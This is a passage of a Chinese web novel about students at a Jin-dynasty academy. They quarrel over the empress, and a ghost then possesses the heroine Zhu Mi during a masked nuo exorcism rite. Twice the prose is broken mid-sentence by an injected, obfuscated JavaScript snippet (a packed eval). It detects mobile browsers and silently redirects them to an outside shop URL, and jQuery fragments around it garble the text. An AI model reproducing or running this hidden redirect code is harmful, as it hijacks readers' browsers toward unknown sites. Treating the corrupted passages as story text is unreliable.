祝弥问:“一般讲什么?” 王洵乐:“讲学问、辨义理、明是非,议经,论史都有。不过今年和以往不一样,长姐从建康带来了点不寻常的东西。” 祝弥吞吞口水,明知要问的问题很蠢,但是实在无人解答:“你长姐是?” “当今,中宫皇后。” 此话一出,有人眼睛发亮,有人神采褪色,有人默默淡出。 眼睛发亮的祝弥终于忍不住开口:“你们两个怎么回事?特别是你,庾彦庭,肚子不舒服就去如厕?” 庾彦庭低迷一声“哼”。 转头对另一个:“你又是什么情况?忽然装透明人了?” 桓错只对着窗外用力发呆,充耳不闻窗内事。 王洵乐看着二人只笑。 13. 鬼跳傩舞傩面掉 不知是不是祝弥还年幼做不到很多事、或者是在上学的缘故,古人的生活,好无聊。 一日一节课,抄书,吃饭,睡觉,没了。虽然祝弥喜欢睡觉,但是睡多了也是过头,躺在床上盯着天花板,发呆。 上辈子太忙太累,为了生存疲于奔命没想过哪怕一个月后的人生。 现在倒好,闲下来了居然开始思考起未来和理想。 逃离了梁祝命运,她要怎么办? 回去继续给资本家做牛做马是不可能的了,且不论能不能回去,有没有退路,总感觉退进皆是水深火热。 她有不可明说的焦虑感——一穿越来就频频惹事上身,还有一群富家子弟馋她能见鬼,天天围着她转。 好像她来这,是真要当心理医生了。 而且,当古人有好多身不由己啊。她不死心再次和王洵乐确认:“皇后……呃、姐姐,点了名一定要我参加吗?” 王洵乐无辜地点点头,表示长姐私下听说了祝弥的通灵事迹,对她很感兴趣。 因为王季林离奇死亡,又似乎涉及到王家的心病“怀真”。这一事诡邪,王家人都缄口不言,对外只说季林病逝。但皇后是本家人,知情了以后,找借口便把国用的那套祭祀班底请到了山阴来,作法为亡者安魂。顺便也请来钱唐做一场傩祭,即是忍冬书院第一次会讲的隆重开场。 傩祭是上古流传至今的一种祭祀仪式,都城每年都会举行至少三场大傩,是国家头等大事。 行傩之人戴上面具,象征着神灵附体,通过挥舞依仗、呼喝、跳舞、踏步等方式实现除岁禳灾、逐疫驱鬼的目的。 跳傩人数越多、越盛大越好,除了祭祀班底四名戴黄金面具、主持仪式的方相氏,和八名持斧钺苇茢、戴狰狞凶煞面具的门神神荼和郁垒*,还需要从本地收纳贵族子弟充当“氛围组”。戴上面具即是灵媒,天然地有护佑效果,所以士族一般会让家里最受器重又适龄的少年戴上“十二神兽”面具。 顾名思义,珍贵的神兽只有十二名。其余的人只能当面具统一、没有背景故事、举着火炬的侲子*。 “可人选早就固定了吧,不必为了我挤掉别人。我只是能看见鬼,不会驱鬼的。我甚至会和鬼交朋友,这是不对的。我被你们一起驱了可就不好了。”祝弥试图推拒。 “今年不一样,多了个新角色,第十三个神兽,梦成来演正好。” “……我很忙啊。”有人拒绝得很苍白。 “忙在哪?”一旁的桓错冷冷接话:“睡觉睡到错过晚膳,然后和我的鹅吵架到天黑,最后去找扫地的老翁聊天蹭馅饼。” “这还不忙吗?” 王洵乐:“我们三个都在呢,梦成只管跟着我们做就好了。何况,长姐开口,梦成还是不要拒绝的好。” 最后这几个字有点压迫力,毕竟是皇后。祝弥吞吞口水:“……行吧,但是我有一件事想知道。告诉我,我就老老实实和你们排练。” “请问。” “我想听他们之间的故事。”伸手指了指三人之外的那坨人形萎靡东西,“庾彦庭变成这样是见鬼了吗?” 他自从得知皇后要来书院,整个人就像被偷了魂似的。先生们也不盯着祝弥罚抄书了,而是昏昏沉沉迟到早退的他成为了新的眼中钉。 桓错也忍不住话里话外和祝弥确认了几次:他真的没有被偷魂吗? 有人很会蹬鼻子上脸,故意嬉皮笑脸回:你说说你们两个和皇后是什么关系,我就告诉你。 但当事人不肯给出答案。 而这个答案会影响祝弥对自己未来的规划,很关键。 “简单。” 王洵乐倒是很爽快,不顾旁人的两道白眼,一一给她道来几人的关系。 当今皇后名为王妙一,是王静源的长女,年长王洵乐两岁。 “等一下,”祝弥打断,“你家不是信五行一教吗,怎么姐姐的名字里没有金木水火土?” “长姐八字圆满。而且‘五行合一’,名字带‘一’也能得天道护佑。” “好,继续。” 王妙一姐姐从一出生就是姐姐,是弟弟们做好事的表率榜样,做坏事的主谋、带头大姐。如果说王洵乐、桓灵玦和庾彦庭从小一块长大的三人是竹马,那青梅,应该就是王妙一了。 几人玩闹懵懂,快乐成长,一切相安无事到青春期。 直到三年前,怀真还只在豫章、鄱阳的西边一带作乱。一日,一如往常,王静源把十六岁的王妙一叫进了书房,谈话许久。 王妙一再从书房出来后,先是去找桓错,大概是在那碰了壁,又生气把自己关在房门里,庾彦庭焦急凑上去,姐姐却没给他开门。 那个下午,青梅竹马和竹马竹马之间,似丝帛轻轻飘飘一声裂,有什么东西变化了。 怀真打到钱唐来的两个月前,庾彦庭的表哥,也就是当今天子,迎娶王氏为后,举国同乐,轻徭薄赋,大赦天下。而庾彦庭和竹马分道扬镳,从此寄情山水,遁入道门。 故事听完,祝弥挑眉,看看桓错,又看看庾彦庭。 王家最珍贵的掌上明珠,想必是才情容貌双绝,按理说无人不爱无人不怜,她大大咧咧笑问其中一个:“你不喜欢洵乐的姐姐吗?” 桓错面无表情,不知在回答什么:“灵玦自幼,有婚约在身。” 别一副受了委屈的口气啊,祝弥直言:“别的兄弟都没有的婚约,就你有,你是在回报父亲的垂爱吗?” 看不出来他还是个讨好型人格。还是因为父亲的什么原因,他才不得不需要讨好? 桓错:“……” 见他不说话,祝弥继续道:“问的是你的心。婚约大事不是儿戏,你若心许王妙一,不必瞻前顾后畏畏缩缩,该直接上我家退亲的,白白伤了妙一的心。放心,祝家不是攀附权贵之流,开明得很,绝不做你们桓王之谊的绊脚石。” “问心无愧。” 忽然他又笑道:“梦成怕妹妹吃亏,替妹妹打抱不平,我理解。”似乎总能听出她话里话外的阴阳怪气,勾起一只嘴角又朝另一个人:“洵乐,你也有什么迟来的打抱不平吗?” 说着像是对众人开放那张俊脸,送出来一点,意思是今日新账旧账一起算了,赏脸给你们来一拳。 听完,王妙一的亲弟弟还没有任何动作,王妙一的小叔子就从萎靡状态挣脱了来,起身几步过来,抬臂,拳头冲了过来。 桓错灵巧闪身,“嗯?又没对你说话。” “不就是仗着有一张会骗小娘子的脸么。”庾彦庭一拳挥空。 桓错:“……确实。” 祝弥汗颜:这样骂会让他爽到的吧…… 庾彦庭更气:“不胡不汉,有什么好稀罕的。”说着又挥拳。 这回桓错没躲,正面迎上,抬手接住,距离拉近,两人身影瞬间重叠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068484|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起。只见庾彦庭骤然惨叫一声,弯腰不能自已。 腹部被桓错来了一拳。 “你他娘的!”二人便看似一招一式地扭打在一起。 王洵乐介入中间,保护住其中一个,叹气,“你总也打不过,就不要说些明知会惹他生气的话了好吗,自虐吗?” 几个招式下来,庾彦庭从颓靡丧气变成了鼻青脸肿,而桓错拍拍衣袖,面色如常,只是不说话。 “我、我只是一直想不明白,”可能是被揍得有些破防,庾彦庭忽然声泪俱下,泪水带着血丝从肿起的眼角流下的样子有点瘆人,说话也含混不清,“为什么世上如妙一阿姐那样光艳绝伦、神采飞扬的人都难以顺心遂意,那这个世道是不是有什么问题?还是你眼睛有问题,桓错?如果她选的是我……我可以放下一切……” 祝弥腹诽:就冲你喊她阿姐这一声,就知道她不会选择你啊。 桓错垂睫:“我只是做了自己的选择。彦庭,逃避也是你的选择。” 王妙一任性地要他带她走、不顾由此会得罪司马家和王家。且不论他对她从没那种想法,单单这样做会给父亲惹来多大的麻烦。当时她慌慌张张找上门来,没有多想,他说:妙一,对不起。 叹口气,他对庾彦庭又说:“我才是不懂你。生平第一次得不到似地,值得你这么耿耿于怀三年。” 千宠万爱没摔过跤的孩子容易一摔就不肯起。豪气冲天得也有点让人羡慕,不像他。 毕竟,父亲很少正眼看过他。 庾彦庭听了又想揍人,被王洵乐死死拽住,伸出一指高高冲着他的脸:“你别摆出一副爹娘不爱的样子!小娘子们会被你那副模样骗到我可不会!祝你日后也能潇洒如脱世高人,别被那祝家娘子折磨!” 一副除却巫山不是云、祝家娘子是什么荒野杂草怪力蛮牛似的不忍直视的口气。 “什么话?什么话这是!”祝家娘子本人原本吃瓜吃得起劲,也确实正默默欣赏桓错一副失魂落魄的莫名惹人怜爱的神情,忽然话风转口扯到自己头上,一瞬间气得想跳脚,胡乱一通:“我妹妹是什么性情乖戾轻薄无行凶神恶煞獠牙外露的人吗?是又如何?!开心了吧!” 一不小心骂了自己,她气不过继续骂罪魁祸首:“你这入了道,心还在俗世之中呢!全世界就你自己最好,看不起这个看不起那个的,活该姐姐不喜欢你!你师父没嫌弃你人笨嘴也笨吗还是只图你乐善好施给道观的钱财?你要是没这身份地位钱财,狗都不正眼看你一眼!” 果然是没品!吵架就吵架,扯到别的女孩子算什么好汉!不像她,直接人身攻击! 不小心殃及池鱼,还被骂了一通,庾彦庭气势弱了下来:“哎呀梦成,他的婚事是痛处,我取笑得久了,一时口快。对不起。” “好好好,痛处,我祝家确实配不上你们王桓庾家!”祝弥狠狠踩了庾彦庭一脚,又瞪了桓错一眼,气冲冲地走了。 桓错:“?” 真是谢谢了,他一句话没说。 也瞪了庾彦庭一眼,跟着走了。 庾彦庭惹了桓错无所谓,忽然把祝弥气走有些不知所措。回看房间内,只剩个挑眉淡笑的王洵乐。 对了,一切事端是这人挑起的。真坏啊。 “哼!” 他把遭受到的白眼统统往他身上倒,也离开了。 四人除了实现目的的王洵乐之外不欢而散。 14. 鬼跳傩舞傩面掉 不管怎么说,王洵乐的任务完成了,祝弥同意扮演第十三只神兽。他心情不错,乐于充当粘合剂,不厌其烦地笼络三人一起演练演练。 桓错庾彦庭两人之间不说话,没关系。祝弥虽然见到某人会沉着脸,但是看见桓错示范傩祭专门的仪式舞步,她会两眼冒出星光,有雀跃的神情不掩饰。 很好。至少排练很顺利。 会讲到来那天天还未亮,他们已经换好黑红色的仪服,正等着来人一声令下,戴上面具就可以出发了。要做的事情很简单,在锣鼓的声音中,跟着方相氏有节奏地踏着傩步,时不时喊几声驱鬼词,书院绕三圈,沿着钱唐江走一圈钱唐县再走回来,最后把手上的火把扔进河水,即傩祭完成。 傩祭本就人数众多,声势浩荡,除了最中心的主祭方相氏、门神、十三神兽,两旁是数百人举着火把的仪仗队和声乐队,再外围是人数更多的跟着走或看热闹或祈祷祝福的普通民众。 届时,方相氏命呼:“傩——” 千人跟呼:“退——” 门神操戈持盾、神兽张牙舞爪跟舞。 举着火把的侲子齐声唱《吃鬼歌》。 记不住词的个别人滥竽充数也无伤大雅。 驱傩的流程是这样。 王洵乐已经细细叮嘱了祝弥多次,祭祀是大事,出了差错大人们会怪罪。还举例子吓唬她:前些日子祈晴仪式不得天道,雨越下越大,天子上表罪己诏,三天不进食。主祭更是七天不敢进食,老人家才恢复好就被长姐不由分说拉来了会稽。 她很配合,痛快点头:“简单得很,不在话下。洵乐放宽心。” 此时方相氏正在祭台上,带着王皇后和山长等贵人与天对话。 十三位神兽扮演者在最里间厢房等候,整装待发。 很快面具被人抬上来,挨个分发到他们手里。 这些木制彩漆神兽的面具是先祖流传下来的百年古物,格外珍贵,所以在最后一刻才送到大家手里。 王洵乐把第十三个面具递给祝弥。 可祝弥突然双手背在身后,和那块红色瞪眼张嘴忿怒相的面具大眼瞪小眼,格外不领情,拒绝接下:“我们戴的不是纸面具吗?我不想戴这个。” 王洵乐就知道自己右眼一直跳是在跳灾,但还是举着面具在她面前晃,耐心道:“第十三个面具,是今年参加会讲的一个学者从西域带来的。名叫班丹拉姆,是西域神,护佑吉祥平安。这面具千里迢迢而来,寓意很重,本身也金贵得很,比我家家训流传时间还长。梦成,这是很大很大的荣幸。” 没有拒绝的余地。 王洵乐这个人,看似温润随和,其实是个强迫症,若他立下了什么规矩目标,必以强硬手段维护和实现。 祝弥:“……” 其余人已经戴好各自的面具,就等前面的人一声令下出发,只剩王洵乐和祝弥还在僵持,一个不知道该如何劝但一定要给出,一个给不出理由又执拗不肯接过。 “可是面具上有东西?” 一张鸟翼为耳、獠牙外翻的半人半鸟黑金神兽面具骤然凑到眼前,祝弥吓得“咦惹”一声避脸。 十二神兽都是上古故事中被方相氏收服的凶兽,每一张面具都是凶神恶煞、怒发冲冠的面相,如此才能喝退鬼怪蛊疫。 是桓错的声音。 她皱着眉头又看两眼:“似乎没有。” 鸟翼面具叹气:“笨,你说有他不就不敢逼你了吗。” 祝弥额头冒汗,对王洵乐:“……换个人来行吗?” 王洵乐无奈:“昨夜开坛,主祭已经把神兽扮演者的名字禀报上天,这是更改不得的。而且你看看现在一副井井有条的状况,还能找出一个多余又合适的人吗?到底怎么了?” 这时前面传来一声长呼:“傩起——一十三神出!” 接着是紧锣密鼓。 一直在最前面翘首眺望祭台上人的庾彦庭几步过来,抢过红色面具直接戴到了祝弥脸上,语气有点差:“没问题就戴上,丑是丑了点,不准闹脾气!——出发了。” 说着就拉着王洵乐就向外走。 大门推开,黄金四目的方相氏和凶神恶煞的门神在正中间跳舞,两侧是百名侲子举着火炬迎候十三神兽一一出列。祝弥跟在后面,脚步打颤,迈出门槛时,“哎呀”一声差点跪了下来,桓错眼疾手快扶住了。 前排的王洵乐和庾彦庭闻声立刻挺直腰背站到一起,合并成一堵展示自信气势的人墙:刚刚什么都没发生,没人看见,没人绊倒!更没有触忌! 等差点给鬼下跪的神兽站稳之后,桓错松开手,发现袖子像挂了二十两银两,重得很。 是祝弥不放手了,紧紧攥着他的衣袖和他并排走。转头去看她,像个惊弓之鸟弯腰缩颈,活生生比他矮了一大截,好像被退傩的锣鼓声缭绕吓到了。 绕书院第一圈,练习过的仪式舞步已经在乱走,她一会差点撞上前人,一会被后人踢脚跟,十三神兽阵列的节奏是方寸大乱。幸得周围里三层外三层的人多,一时半会还看不太出来。混乱只在内部出现,有人悄声责备:“怎么回事,别总踢我呀!” “唔……” 最前排的王洵乐低声对后方:“灵玦,管着她点。” 桓错无语,把人拽向自己一点,和她说:“别慌,你跟我脚步。” 畏畏缩缩的红色面具发出一些“唔唔”的含混口语,呆愣点点头,任由他拽着,也真的在努力照着大家的节奏走,就是好像力不从心似的。听到侲子们咒骂般唱的吃鬼歌,掏心挖肺、抽筋扒皮之类的,她倚靠在桓错手臂上的重力就更多一些。 绕书院走完第三圈,正往钱唐县去的时候,刚好傩祭一个阶段的礼成,锣鼓声和人群呼喝振臂声响彻山林,书院大门两侧燃了火盆,浓烟滚滚,冲出山林。 “傩——!” “退——!” 神兽阵列内又出现了更多不和谐的声音:“啧,谁的权杖掉了!” “别被发现啊!” “我不想抄书啊!” 不用想就知道是谁,王洵乐趁着此时傩祭情绪激昂又混乱,回头看了一眼祝弥,原本耐心尽失,忍不住脱口而出的一些冲撞祭祀会被严惩的重话,又生生咽回去了。 和桓错对视一眼便了然,又拉着身旁的庾彦庭,两人腰背挺得再直一些。尽量挡挡吧。 都感觉出来点什么了。 换人了。 扶乩上身了。 莫名其妙的。 桓错早就察觉到了。因为那个一直口口声声说自己有洁癖的人忽然抓着他的手,好久不肯放开了。 祝弥本人在正常情况下确实从不和他们有各种意义上的肢体触碰,除了骑马和晕倒,再就是扶乩。而此刻这个红脸面具祝弥,迈着呆滞的步伐,被桓错强势地扣着手腕僵硬跟走。又忽然扔掉了自己作为班丹拉姆一直单手持的金刚杵,得空的手伸过来,细细地抚摸扣她手的、他的手。一边摸一边透过面具打量着四周,初来乍到似的。 手背上有指尖在爬,小心翼翼得颤抖,缓慢、一寸一寸。桓错额头冒了点汗。 根本就是虚化已久的鬼在感知实体的温度和触感。 桓错:“……” 硬着头皮挟持一个鬼沿着钱唐江做完驱傩仪式。 浩浩汤汤的仪仗队伍最终停在江边,方相氏:“今我使神荼郁垒,十三神兽,代天巡狩,威震邪祟!众傩——!” 众人:“尽退——!” 方相氏:“埋祟——!” 跟着方相氏的命令,侲子把火把扔进钱唐江,一时间火把像是下雨,江水也汹汹发出熄火的声音。 方相氏:“百无禁忌——” “诸邪回避——!” “礼成——大吉——!” ——吉个屁! 十二神兽中有几只神兽只觉得自己已沦为鬼祟之流,十分不吉,该跟着那些火炬一起送进江水里洗洗。 回到书院,他们匆匆找了间无人厢房,门一关上,瞪着眼睛面面相觑:驱鬼的傩仪里混入了一只真的鬼,这可怎么办?冒犯忌讳,冲撞天道的先不提,总之最要紧的是,绝对不能被其他人知道!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069391|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>桓错还被死死拽着不放开,鬼正低着头玩他手。 王洵乐按住眉角深呼吸:“……” 还是庾彦庭先缓和气氛,摘下面具,逞强似地一脸不屑:“这傩仪本就是走个过场形式,若真那么灵验,那方相氏也不必请不到晴天而自罚七天绝食,不碍事的!哼,跟着那衰老头走这一圈可真是够慢!” 另外两人想想也是,若真能驱鬼,那鬼早就吓跑了还轮得到冒犯吗?这不还好好的在玩手吗? 便平下心来对着鬼看。 眼前这“祝弥”像是不开智的幼童,又或者是初得人身,喜极而失智,对几人说话全无反应。才发现她半束的头发不知何时又被火烧到了。那这个鬼是何时何处而来的? 至少不在面具上。 桓错回忆不起来是什么时候发现她不对劲了,因为这家伙从一出门脚就在打滑,他全程不是扶就是拽。仪式也实在是太吵,不知何时她的头发被燎到了,手就悄悄摸了上来。触摸的情境,就和那日母亲附体一样,细细寸寸摸着他的脸。 所以他对这些可怜的鬼心软了,便任凭它摸。 “敢问足下大名?”王洵乐对着“祝弥”问。 “祝弥”转脸看了他一下,“我……”了一个字,声音却哑哑地出不来后续的话。 学着祝弥之前问怀真的样子,又问:“足下可是有何求?” “我、我……” 鬼还是“我”不出来任何内容。 “我什么我!问你是何人!不愿答就滚出去,把梦成还给我们!”磕磕巴巴的口吻听得庾彦庭没由来地烦躁。 “祝弥”被吓得当即收声。拽着桓错的手指节用力得泛白,举起来一下又泄气得放在腿上。 桓错盯着“祝弥”,比另外两人有耐心,何况,他还被它“劫持”了。母亲那日也是哭了许久才能断断续续地开口说话。如今这鬼适应人身的模样笨拙得可以说是痴傻,恐怕飘荡的年限比他母亲还久。 “别怕。”忍不住回握了一下它,示意安心。 “呜……”它开始小声呜咽。 “唉!”庾彦庭不爱听鬼哭,咬牙一声嫌弃,甩着袖子站起来,背过身去。 桓错:“能别把你自己的情绪撒到别人身上来么?” 这人今日火气格外重不就是因为王妙一的轿辇一直在仪仗的旁边么。想和人说话又实在找不见由头,急得和一个无辜野鬼发脾气了。 “你想出去见她自便就是,没人把你关在这里。这扶乩不会持续太久。” 听到桓错这话,“祝弥”也一愣抬头看他。 ——“洵乐,王皇后有请。”门外有同学敲门,“面具那边也催还了。” “知道了。”屋内三人对视一眼,王洵乐和庾彦庭出门,留下桓错和鬼。 “你,能说话吗?” 二人面对面跪坐着。 “我、我……” 桓错先摘了自己面具,又准备去摘它的。不料它向后一躲。 桓错:“?” “这面具是借来的,弄坏了可赔不起。” 他也不知道和一只鬼强调活人的价值观做什么。说完又要摘。 它又向后躲。 “……” 怎么跟祝弥本人似的,说不想戴面具就死倔着不肯戴……嗯? 面具? 桓错的一只手还被它攥着。 手腕稍转,轻巧控住了它双手,用劲把人带向自己。距离拉近后,另一手捏住面具下颌,作势要摘。 “祝弥”的双肩开始在抖,却挣扎不得,堪堪把脸扭开。 “呜、呜……” 面具揭开之际,“咔嚓”一声传来。 “你帮我!” 它终于急急出声,掩饰不住一口轻清的少女音色。 同时,桓错扣捏面具的指节摸到了绵绵的水意,面具以他手为起点,自下而上,一道裂缝突兀蔓延。 咔哒—— 面具不摘自落,一张噙泪盈盈的祝弥的脸露了出来, “你帮我、照顾好小满……小满她……”